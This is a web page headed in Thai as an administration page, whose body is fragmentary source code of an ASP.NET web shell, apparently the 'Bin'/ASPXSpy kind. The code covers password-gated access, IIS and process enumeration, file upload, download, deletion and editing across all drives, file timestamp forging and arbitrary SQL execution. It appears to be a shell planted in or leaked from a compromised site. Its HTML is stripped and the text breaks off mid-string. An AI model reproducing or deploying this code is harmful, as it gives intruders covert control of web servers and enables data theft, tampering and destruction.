ฝ่ายบริหาร

IIS_USERDomainPath"; foreach (DirectoryEntry child in mydir.Children) { if (CheckIsNumber(child.Name.ToString())) { string dirstr = child.Name.ToString(); string tmpstr = ""; DirectoryEntry newdir = new DirectoryEntry(iisstr + "/" + dirstr); DirectoryEntry newdir1 = newdir.Children.Find("root", "IIsWebVirtualDir"); iisinfo += "" + (i = i + 1) + ""; iisinfo += "" + newdir1.Properties["AnonymousUserName"].Value + ""; iisinfo += "" + child.Properties["ServerBindings"][0] + ""; iisinfo += ""; iisinfo += ""; } } iisend = "
"; } catch (Exception error) { Bin_Error(error.Message); } return iisstart + iisinfo + iisend; } public string Bin_Process() { string htmlstr = "
PROCESS-INFO
IDProcessMemorySizeThreads
"; string prostr = ""; string htmlend = ""; try { Process[] myprocess = Process.GetProcesses(); foreach (Process p in myprocess) { prostr += "" + p.Id.ToString() + ""; prostr += "" + p.ProcessName.ToString() + ""; prostr += "" + p.WorkingSet.ToString() + ""; prostr += "" + p.Threads.Count.ToString() + ""; } } catch (Exception Error) { Bin_Error(Error.Message); } return htmlstr + prostr + htmlend; } protected void LoginButton_Click(object sender, EventArgs e) { string MD5Pass = FormsAuthentication.HashPasswordForStoringInConfigFile(passtext.Text,"MD5").ToLower(); if (MD5Pass == Password) { Session[SessionName] = "BIN"; Bin_main(); } else { Bin_login(); } } protected void LogoutButton_Click(object sender, EventArgs e) { Session.Abandon(); Bin_login(); } protected void FileButton_Click(object sender, EventArgs e) { Bin_LoginPanel.Visible = false; Bin_MenuPanel.Visible = true; Bin_MainPanel.Visible = false; Bin_FilePanel.Visible = true; Bin_CmdPanel.Visible = false; Bin_SQLPanel.Visible = false; Bin_SuPanel.Visible = false; Bin_IISPanel.Visible = false; Bin_PortPanel.Visible = false; Bin_RegPanel.Visible = false; Bin_upTextBox.Text = formatpath(Server.MapPath(".")); Bin_CopyTextBox.Text = formatpath(Server.MapPath(".")); Bin_upTextBox.Text = formatpath(Server.MapPath(".")); Bin_FileList(Server.MapPath(".")); } protected void MainButton_Click(object sender, EventArgs e) { Bin_main(); } public void Bin_DriveList() { string file = ""; file += "
Drives : "; string[] drivers = Directory.GetLogicalDrives(); for (int i = 0; i < drivers.Length; i++) { file += " "; } file += " WebRoot : "; Bin_FileLabel.Text = file; } public void Bin_FileList(string Bin_path) { Bin_FilePanel.Visible = true; Bin_CreateTextBox.Text = ""; Bin_CopytoTextBox.Text = ""; Bin_CopyTextBox.Text = Bin_path; Bin_upTextBox.Text = Bin_path; Bin_IISPanel.Visible = false; Bin_DriveList(); string tmpstr=""; string Bin_Filelist = Bin_FilelistLabel.Text; Bin_Filelist = "
"; Bin_Filelist += "
"; Bin_Filelist += "NameSize(Byte)"; Bin_Filelist += "ModifyTimeOperate"; try { Bin_Filelist += ""; string parstr = ""; if (Bin_path.Length < 4) { parstr = formatpath(Bin_path); } else { parstr = formatpath(Directory.GetParent(Bin_path).ToString()); } Bin_Filelist += ""; Bin_Filelist += ""; DirectoryInfo Bin_dir = new DirectoryInfo(Bin_path); foreach (DirectoryInfo Bin_folder in Bin_dir.GetDirectories()) { string foldername = formatpath(Bin_path) + "/" + formatfile(Bin_folder.Name); tmpstr += ""; tmpstr += "<dir>" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_folder.Name) + "|Att|"; tmpstr += ""; } foreach (FileInfo Bin_file in Bin_dir.GetFiles()) { string filename = formatpath(Bin_path) + "/" + formatfile(Bin_file.Name); tmpstr += ""; tmpstr += "" + Bin_file.Name + "" + Bin_file.Length + "" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_file.Name) + "||||"; tmpstr += ""; } tmpstr += ""; } catch (Exception Error) { Bin_Error(Error.Message); } Bin_FilelistLabel.Text = Bin_Filelist + tmpstr; } public void Bin_Filedel(string instr,int type) { try { if (type == 1) { File.Delete(instr); } if (type == 2) { foreach (string tmp in Directory.GetFileSystemEntries(instr)) { if (File.Exists(tmp)) { File.Delete(tmp); } else { Bin_Filedel(tmp, 2); } } Directory.Delete(instr); } } catch (Exception Error) { Bin_Error(Error.Message); } Bin_FileList(Bin_upTextBox.Text); } public void Bin_FileRN(string instr,int type) { try { if (type == 1) { string[] array = instr.Split(','); File.Move(array[0], array[1]); } if (type == 2) { string[] array = instr.Split(','); Directory.Move(array[0], array[1]); } } catch (Exception Error) { Bin_Error(Error.Message); } Bin_FileList(Bin_upTextBox.Text); } public void Bin_Filedown(string instr) { try { FileStream MyFileStream = new FileStream(instr, FileMode.Open, FileAccess.Read, FileShare.Read); long FileSize = MyFileStream.Length; byte[] Buffer = new byte[(int)FileSize]; MyFileStream.Read(Buffer, 0, (int)FileSize); MyFileStream.Close(); Response.AddHeader("Content-Disposition", "attachment;filename=" + instr); Response.Charset = "UTF-8"; Response.ContentType = "application/octet-stream"; Response.BinaryWrite(Buffer); Response.Flush(); Response.End(); } catch (Exception Error) { Bin_Error(Error.Message); } } public void Bin_Fileatt(string instr) { Bin_AttPanel.Visible = true; Bin_FilePanel.Visible = true; try { string Att = File.GetAttributes(instr).ToString(); Bin_ReadOnlyCheckBox.Checked = false; Bin_SystemCheckBox.Checked = false; Bin_HiddenCheckBox.Checked = false; Bin_ArchiveCheckBox.Checked = false; if (Att.LastIndexOf("ReadOnly") != -1) { Bin_ReadOnlyCheckBox.Checked = true; } if (Att.LastIndexOf("System") != -1) { Bin_SystemCheckBox.Checked = true; } if (Att.LastIndexOf("Hidden") != -1) { Bin_HiddenCheckBox.Checked = true; } if (Att.LastIndexOf("Archive") != -1) { Bin_ArchiveCheckBox.Checked = true; } Bin_CreationTimeTextBox.Text = File.GetCreationTime(instr).ToString(); Bin_LastWriteTimeTextBox.Text = File.GetLastWriteTime(instr).ToString(); Bin_AccessTimeTextBox.Text = File.GetLastAccessTime(instr).ToString(); } catch (Exception Error) { Bin_Error(Error.Message); } Bin_AttLabel.Text = instr; Session["FileName"] = instr; Bin_DriveList(); } public void Bin_FileEdit(string instr) { Bin_FilePanel.Visible = true; Bin_EditPanel.Visible = true; Bin_DriveList(); Bin_EditpathTextBox.Text = instr; StreamReader SR = new StreamReader(instr, Encoding.Default); Bin_EditTextBox.Text = SR.ReadToEnd(); SR.Close(); } protected void Bin_upButton_Click(object sender, EventArgs e) { string uppath = Bin_upTextBox.Text; if (uppath.Substring(uppath.Length - 1, 1) != @"/") { uppath = uppath + @"/"; } try { Bin_UpFile.PostedFile.SaveAs(uppath + Path.GetFileName(Bin_UpFile.Value)); } catch (Exception error) { Bin_Error(error.Message); } Bin_FileList(uppath); } public void Bin_Error(string error) { Bin_ErrorLabel.Text = "Error : " + error; } public string formatpath(string instr) { instr = instr.Replace(@"\", "/"); if (instr.Length < 4) { instr = instr.Replace(@"/", ""); } if (instr.Length == 2) { instr = instr + @"/"; } instr = instr.Replace(" ", "%20"); return instr; } public string formatfile(string instr) { instr = instr.Replace(" ", "%20"); return instr; } protected void Bin_GoButton_Click(object sender, EventArgs e) { Bin_FileList(Bin_upTextBox.Text); } protected void Bin_NewFileButton_Click(object sender, EventArgs e) { string newfile = Bin_CreateTextBox.Text; string filepath = Bin_upTextBox.Text; filepath = filepath + "/" + newfile; try { StreamWriter sw = new StreamWriter(filepath, true, Encoding.Default); } catch (Exception Error) { Bin_Error(Error.Message); } Bin_FileList(Bin_upTextBox.Text); } protected void Bin_NewdirButton_Click(object sender, EventArgs e) { string dirpath = Bin_upTextBox.Text; string newdir = Bin_CreateTextBox.Text; newdir = dirpath + "/" + newdir; try { Directory.CreateDirectory(newdir); } catch(Exception Error) { Bin_Error(Error.Message); } Bin_FileList(Bin_upTextBox.Text); } protected void Bin_CopyButton_Click(object sender, EventArgs e) { string copystr = Bin_CopyTextBox.Text; string copyto = Bin_CopytoTextBox.Text; try { File.Copy(copystr, copyto); } catch (Exception Error) { Bin_Error(Error.Message); } Bin_CopytoTextBox.Text = ""; Bin_FileList(Bin_upTextBox.Text); } protected void Bin_CutButton_Click(object sender, EventArgs e) { string copystr = Bin_CopyTextBox.Text; string copyto = Bin_CopytoTextBox.Text; try { File.Move(copystr, copyto); } catch (Exception Error) { Bin_Error(Error.Message); } Bin_CopytoTextBox.Text = ""; Bin_FileList(Bin_upTextBox.Text); } protected void Bin_SetButton_Click(object sender, EventArgs e) { try { string FileName = Session["FileName"].ToString(); File.SetAttributes(FileName, FileAttributes.Normal); if (Bin_ReadOnlyCheckBox.Checked) { File.SetAttributes(FileName, FileAttributes.ReadOnly); } if (Bin_SystemCheckBox.Checked) { File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.System); } if (Bin_HiddenCheckBox.Checked) { File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Hidden); } if (Bin_ArchiveCheckBox.Checked) { File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Archive); } if (FileName.Substring(FileName.Length - 1, 1) == "/") { Directory.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text)); Directory.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text)); Directory.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text)); } else { File.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text)); File.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text)); File.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text)); } } catch (Exception Error) { Bin_Error(Error.Message); } Bin_FileList(Bin_upTextBox.Text); Response.Write("
" + db_name + "

"; db_info += "SRVROLEMEMBER : " + dbo + "
"; Bin_DBinfoLabel.Text = db_info; } if (Bin_AccRadioButton.Checked) { Bin_DataGrid.Visible = false; Bin_SAexecButton.Visible = false; Bin_Accbind(); } } catch (Exception E) { Bin_Error(E.Message); } } protected void Bin_Accbind() { try { Bin_DBmenuPanel.Visible = false; Bin_AccPanel.Visible = true; OpenConnection(); DataTable acctable = new DataTable(); acctable = conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new Object[] { null, null, null, "Table" }); string accstr = ""; accstr += "Tables Count : " + acctable.Rows.Count + "
Please select a database : "; for (int i = 0; i < acctable.Rows.Count; i++) { accstr += ""; } if (Session["Bin_Table"] != null) { accstr += ""; } accstr += ""; Bin_AccinfoLabel.Text = accstr; CloseConnection(); } catch (Exception Error) { Bin_Error(Error.Message); } } protected void Bin_Databind() { try { Bin_SAexecButton.Visible = false; Bin_Accbind(); Bin_Scroll.Visible = true; if (Bin_SQLRadioButton.Checked) { Bin_DBmenuPanel.Visible = true; Bin_DBinfoLabel.Visible = false; } Bin_DataGrid.Visible = true; DataTable databind = Bin_DataTable(@"SELECT * FROM " + Session["Bin_Table"]); Bin_DataGrid.DataSource = databind; Bin_DataGrid.DataBind(); } catch (Exception Error) { Bin_Error(Error.Message); } } public void Bin_ExecSql(string instr) { try { OpenConnection(); comm.CommandType = CommandType.Text; comm.CommandText = instr; comm.ExecuteNonQuery(); } catch (Exception e) { Bin_Error(e.Message); } } public void Item_DataBound(object sender,DataGridItemEventArgs e) { for (int i = 2; i < e.Item.Cells.Count; i++) { e.Item.Cells[i].Text = e.Item.Cells[i].Text.Replace("<", "<").Replace(">", ">"); } } protected void Bin_DBPage(object sender, DataGridPageChangedEventArgs e) { Bin_DataGrid.CurrentPageIndex = e.NewPageIndex; Bin_Databind(); } public void Item_Command(object sender, DataGridCommandEventArgs e) { if (e.CommandName == "Cancel") { Bin_DataGrid.EditItemIndex = -1; Bin_Databind(); } } protected void Bin_ExecButton_Click(object sender, EventArgs e) { try { Bin_Scroll.Visible = true; Bin_DataGrid.Visible = true; Bin_DataGrid.AllowPaging = true; Bin_Accbind(); if (Bin_SQLRadioButton.Checked) { Bin_DBmenuPanel.Visible = true; } string sqlstr = Bin_DBstrTextBox.Text; sqlstr = sqlstr.TrimStart().ToLower(); if (sqlstr.Substring(0, 6) == "select") { DataTable databind = Bin_DataTable(sqlstr); Bin_DataGrid.DataSource = databind; Bin_DataGrid.DataBind(); } else { Bin_ExecSql(sqlstr); Bin_Databind(); } } catch(Exception error) { Bin_Error(error.Message); } } protected void Bin_BDButton_Click(object sender, EventArgs e) { Bin_DBinfoLabel.Visible = false; Bin_Accbind(); Bin_DBmenuPanel.Visible = true; Bin_DataGrid.Visible = false; Bin_DataGrid.AllowPaging = true; Bin_Scroll.Visible = false; Bin_DBstrTextBox.Text = ""; Bin_SAexecButton.Visible = false; Bin_ResLabel.Visible = false; Bin_dirPanel.Visible = false; } protected void Bin_SACMDButton_Click(object sender, EventArgs e) { Bin_DBinfoLabel.Visible = false; Bin_DataGrid.Visible = false; Bin_Scroll.Visible = false; Bin_SAexecButton.Visible = true; Bin_Change(); Bin_ExecButton.Visible = false; Bin_ResLabel.Visible = false; Session["Bin_Option"] = null; Bin_dirPanel.Visible = false; } public void Bin_Change() { Bin_ExecButton.Visible = false; string select = "